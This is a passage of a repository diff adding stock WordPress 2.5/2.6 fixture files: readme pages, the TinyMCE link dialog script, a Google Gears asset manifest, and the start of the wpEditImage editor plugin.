<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.5:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1>System Recommendations</h1>
<ul>
<li>PHP version <strong>4.3</strong> or higher.</li>
<li>MySQL version <strong>4.0</strong> or higher.</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1>XML-RPC and Atom Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,126 @@
tinyMCEPopup.requireLangPack();
var LinkDialog = {
preInit : function() {
var url;
if (url = tinyMCEPopup.getParam("external_link_list_url"))
document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>');
},
init : function() {
var f = document.forms[0], ed = tinyMCEPopup.editor;
// Setup browse button
document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser', 'href', 'file', 'theme_advanced_link');
if (isVisible('hrefbrowser'))
document.getElementById('href').style.width = '180px';
this.fillClassList('class_list');
this.fillFileList('link_list', 'tinyMCELinkList');
this.fillTargetList('target_list');
if (e = ed.dom.getParent(ed.selection.getNode(), 'A')) {
f.href.value = ed.dom.getAttrib(e, 'href');
f.linktitle.value = ed.dom.getAttrib(e, 'title');
f.insert.value = ed.getLang('update');
selectByValue(f, 'link_list', f.href.value);
selectByValue(f, 'target_list', ed.dom.getAttrib(e, 'target'));
selectByValue(f, 'class_list', ed.dom.getAttrib(e, 'class'));
}
},
update : function() {
var f = document.forms[0], ed = tinyMCEPopup.editor, e, b;
tinyMCEPopup.restoreSelection();
// Remove element if there is no href
if (!f.href.value) {
e = ed.dom.getParent(ed.selection.getNode(), 'A');
if (e) {
tinyMCEPopup.execCommand("mceBeginUndoLevel");
b = ed.selection.getBookmark();
ed.dom.remove(e, 1);
ed.selection.moveToBookmark(b);
tinyMCEPopup.execCommand("mceEndUndoLevel");
tinyMCEPopup.close();
return;
}
}
ed.execCommand('mceInsertLink', false, {
href : f.href.value,
title : f.linktitle.value,
target : f.target_list ? f.target_list.options[f.target_list.selectedIndex].value : null,
'class' : f.class_list ? f.class_list.options[f.class_list.selectedIndex].value : null
});
tinyMCEPopup.close();
},
checkPrefix : function(n) {
if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_email')))
n.value = 'mailto:' + n.value;
if (/^\s*www./i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_external')))
n.value = 'http://' + n.value;
},
fillFileList : function(id, l) {
var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl;
l = window[l];
if (l && l.length > 0) {
lst.options[lst.options.length] = new Option('', '');
tinymce.each(l, function(o) {
lst.options[lst.options.length] = new Option(o[0], o[1]);
});
} else
dom.remove(dom.getParent(id, 'tr'));
},
fillClassList : function(id) {
var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl;
if (v = tinyMCEPopup.getParam('theme_advanced_styles')) {
cl = [];
tinymce.each(v.split(';'), function(v) {
var p = v.split('=');
cl.push({'title' : p[0], 'class' : p[1]});
});
} else
cl = tinyMCEPopup.editor.dom.getClasses();
if (cl.length > 0) {
lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), '');
tinymce.each(cl, function(o) {
lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']);
});
} else
dom.remove(dom.getParent(id, 'tr'));
},
fillTargetList : function(id) {
var dom = tinyMCEPopup.dom, lst = dom.get(id), v;
lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), '');
lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_same'), '_self');
lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_blank'), '_blank');
if (v = tinyMCEPopup.getParam('theme_advanced_link_targets')) {
tinymce.each(v.split(','), function(v) {
v = v.split('=');
lst.options[lst.options.length] = new Option(v[0], v[1]);
});
}
}
};
LinkDialog.preInit();
tinyMCEPopup.onInit.add(LinkDialog.init, LinkDialog);

91
spec/fixtures/wp_versions/2.6/readme.html vendored Executable file
View File

@@ -0,0 +1,91 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &rsaquo; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
</head>
<body>
<h1 id="logo" style="text-align: center">
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
<br /> Version 2.6
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code></li>
<li>Upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.6:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1>System Recommendations</h1>
<ul>
<li>PHP version <strong>4.3</strong> or higher.</li>
<li>MySQL version <strong>4.0</strong> or higher.</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1>XML-RPC and Atom Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,222 @@
{
"betaManifestVersion" : 1,
"version" : "042b5463d848123f945c211604b14c38_20080710a",
"entries" : [
{ "url" : "js/common.js?ver=20080318" },
{ "url" : "../wp-includes/js/tw-sack.js?ver=1.6.1" },
{ "url" : "../wp-includes/js/quicktags.js?ver=3958" },
{ "url" : "../wp-includes/js/colorpicker.js?ver=3517" },
{ "url" : "js/editor.js?ver=20080710" },
{ "url" : "../wp-includes/js/prototype.js?ver=1.6" },
{ "url" : "../wp-includes/js/wp-ajax-response.js?ver=20080316" },
{ "url" : "../wp-includes/js/autosave.js?ver=20080622" },
{ "url" : "../wp-includes/js/wp-lists.js?ver=20080411" },
{ "url" : "../wp-includes/js/scriptaculous/scriptaculous.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/builder.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/dragdrop.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/effects.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/slider.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/sound.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/controls.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/crop/cropper.js?ver=20070118" },
{ "url" : "../wp-includes/js/jquery/jquery.js?ver=1.2.6" },
{ "url" : "../wp-includes/js/jquery/jquery.form.js?ver=2.02" },
{ "url" : "../wp-includes/js/jquery/jquery.color.js?ver=2.0-4561" },
{ "url" : "../wp-includes/js/jquery/interface.js?ver=1.2" },
{ "url" : "../wp-includes/js/jquery/suggest.js?ver=1.1b" },
{ "url" : "../wp-includes/js/jquery/jquery.schedule.js?ver=20" },
{ "url" : "../wp-includes/js/thickbox/thickbox.js?ver=3.1-20080430" },
{ "url" : "../wp-includes/js/swfupload/swfupload.js?ver=2.0.2-20080430" },
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js?ver=2.0.2" },
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.queue.js?ver=2.0.2" },
{ "url" : "../wp-includes/js/swfupload/handlers.js?ver=2.0.2-20080407" },
{ "url" : "../wp-includes/js/jquery/ui.core.js?ver=1.5.1" },
{ "url" : "../wp-includes/js/jquery/ui.tabs.js?ver=1.5.1" },
{ "url" : "../wp-includes/js/jquery/ui.sortable.js?ver=1.5.1" },
{ "url" : "js/cat.js?ver=20071101" },
{ "url" : "js/categories.js?ver=20071031" },
{ "url" : "js/tags.js?ver=20071031" },
{ "url" : "js/custom-fields.js?ver=20070823" },
{ "url" : "js/password-strength-meter.js?ver=20070405" },
{ "url" : "js/edit-comments.js?ver=20080311" },
{ "url" : "js/users.js?ver=20070823" },
{ "url" : "js/forms.js?ver=20080401" },
{ "url" : "js/xfn.js?ver=3517" },
{ "url" : "js/upload.js?ver=20070518" },
{ "url" : "js/postbox.js?ver=20080128" },
{ "url" : "js/slug.js?ver=20080208" },
{ "url" : "js/post.js?ver=20080629" },
{ "url" : "js/page.js?ver=20080318" },
{ "url" : "js/link.js?ver=20080131" },
{ "url" : "js/comment.js?ver=20080219" },
{ "url" : "js/gallery.js?ver=20080709" },
{ "url" : "js/media-upload.js?ver=20080710" },
{ "url" : "js/widgets.js?ver=20080503" },
{ "url" : "js/word-count.js?ver=20080423" },
{ "url" : "js/wp-gears.js?ver=20080511" },
{ "url" : "js/theme-preview.js?ver=20080625" },
{ "url" : "wp-admin.css?ver=2.6" },
{ "url" : "rtl.css?ver=2.6" },
{ "url" : "css/ie.css?ver=2.6" },
{ "url" : "css/ie-rtl.css?ver=2.6" },
{ "url" : "css/colors-classic.css?ver=2.6" },
{ "url" : "css/colors-classic-rtl.css?ver=2.6" },
{ "url" : "css/colors-fresh.css?ver=2.6" },
{ "url" : "css/colors-fresh-rtl.css?ver=2.6" },
{ "url" : "css/global.css?ver=2.6" },
{ "url" : "css/global-rtl.css?ver=2.6" },
{ "url" : "css/media.css?ver=20080709" },
{ "url" : "css/media-rtl.css?ver=20080709" },
{ "url" : "css/widgets.css?ver=2.6" },
{ "url" : "css/widgets-rtl.css?ver=2.6" },
{ "url" : "css/dashboard.css?ver=2.6" },
{ "url" : "css/dashboard-rtl.css?ver=2.6" },
{ "url" : "css/install.css?ver=20080708" },
{ "url" : "css/install-rtl.css?ver=20080708" },
{ "url" : "css/theme-editor.css?ver=2.6" },
{ "url" : "css/theme-editor-rtl.css?ver=2.6" },
{ "url" : "css/press-this.css?ver=20080710" },
{ "url" : "css/press-this-rtl.css?ver=20080710" },
{ "url" : "css/press-this-ie.css?ver=20080710" },
{ "url" : "css/press-this-ie-rtl.css?ver=20080710" },
{ "url" : "../wp-includes/js/thickbox/thickbox.css?ver=20080613" },
{ "url" : "css/login.css?ver=2.6" },
{ "url" : "css/login-rtl.css?ver=2.6" },
{ "url" : "images/align-center.png" },
{ "url" : "images/align-left.png" },
{ "url" : "images/align-none.png" },
{ "url" : "images/align-right.png" },
{ "url" : "images/browse-happy.gif" },
{ "url" : "images/bubble_bg.gif" },
{ "url" : "images/comment-grey-bubble.png" },
{ "url" : "images/comment-pill.gif" },
{ "url" : "images/comment-stalk-classic.gif" },
{ "url" : "images/comment-stalk-fresh.gif" },
{ "url" : "images/comment-stalk-rtl.gif" },
{ "url" : "images/date-button.gif" },
{ "url" : "images/fade-butt.png" },
{ "url" : "images/gear.png" },
{ "url" : "images/logo-ghost.png" },
{ "url" : "images/logo-login.gif" },
{ "url" : "images/logo.gif" },
{ "url" : "images/media-button-gallery.gif" },
{ "url" : "images/media-button-image.gif" },
{ "url" : "images/media-button-music.gif" },
{ "url" : "images/media-button-other.gif" },
{ "url" : "images/media-button-video.gif" },
{ "url" : "images/media-buttons.gif" },
{ "url" : "images/tab.png" },
{ "url" : "images/tail.gif" },
{ "url" : "images/toggle-arrow-rtl.gif" },
{ "url" : "images/toggle-arrow.gif" },
{ "url" : "images/wordpress-logo.png" },
{ "url" : "images/xit.gif" },
{ "url" : "images/loading-publish.gif" },
{ "url" : "images/loading.gif" },
{ "url" : "images/required.gif" },
{ "url" : "images/no.png" },
{ "url" : "images/yes.png" },
{ "url" : "../wp-includes/images/crystal/archive.png" },
{ "url" : "../wp-includes/images/crystal/audio.png" },
{ "url" : "../wp-includes/images/crystal/code.png" },
{ "url" : "../wp-includes/images/crystal/default.png" },
{ "url" : "../wp-includes/images/crystal/document.png" },
{ "url" : "../wp-includes/images/crystal/interactive.png" },
{ "url" : "../wp-includes/images/crystal/text.png" },
{ "url" : "../wp-includes/images/crystal/video.png" },
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
{ "url" : "../wp-includes/images/rss.png" },
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
{ "url" : "../wp-includes/js/thickbox/tb-close.png" },
{ "url" : "../wp-includes/js/swfupload/swfupload_f9.swf" },
{ "url" : "../wp-includes/js/tinymce/tiny_mce_popup.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/utils/mctabs.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/utils/validate.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/utils/form_utils.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/utils/editable_selects.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/paste/js/pasteword.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/paste/js/pastetext.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/js/media.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/color_picker.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/charmap.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/image.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/link.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/source_editor.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/js/anchor.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js?ver=311d" },
{ "url" : "../wp-includes/js/tinymce/tiny_mce.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/editor_template.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/source_editor.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/anchor.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/image.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/link.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/color_picker.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/charmap.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/media.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/paste/pasteword.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/paste/blank.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/paste/pastetext.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/template.htm?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/editimage.html?ver=311d" },
{ "url" : "../wp-includes/js/tinymce/wp-mce-help.php?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/spellchecker/css/content.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/css/content.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/css/content.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/css/media.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/paste/css/pasteword.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/paste/css/blank.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css?ver=311d" },
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/wordpress.css?ver=311" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/icons.gif" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/colorpicker.jpg" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/fm.gif" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/gotmoxie.png" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/sflogo.png" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/butt2.png" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/tabs.gif" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/down_arrow.gif" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/progress.gif" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_check.gif" },
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_arrow.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/drag.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/button.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/flash.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/flv_player.swf" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/quicktime.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/realmedia.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/shockwave.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/windowsmedia.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/trans.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/more.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/page.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/img/image.png" },
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/img/delete.png" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/help.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/image.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/media.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/video.gif" },
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/audio.gif" }
]}

View File

@@ -0,0 +1,217 @@
(function() {
tinymce.create('tinymce.plugins.wpEditImage', {
init : function(ed, url) {
var t = this;
t.url = url;
t._createButtons();
// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...');
ed.addCommand('WP_EditImage', function() {
var el = ed.selection.getNode();
if ( ed.dom.getAttrib(el, 'class').indexOf('mceItem') != -1 || el.nodeName != 'IMG' )
return;
tb_show('', url + '/editimage.html?ver=311c&TB_iframe=true');
tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
});
ed.onInit.add(function(ed) {
tinymce.dom.Event.add(ed.getWin(), 'scroll', function(e) {
ed.plugins.wpeditimage.hideButtons();
});
});
ed.onBeforeExecCommand.add(function(ed, cmd, ui, val) {
ed.plugins.wpeditimage.hideButtons();
});
ed.onSaveContent.add(function(ed, o) {
ed.plugins.wpeditimage.hideButtons();
});
ed.onMouseUp.add(function(ed, e) {
if ( tinymce.isOpera ) {
if ( e.target.nodeName == 'IMG' )
ed.plugins.wpeditimage.showButtons(e.target);
} else if ( ! tinymce.isWebKit ) {
var n = ed.selection.getNode(), DL;
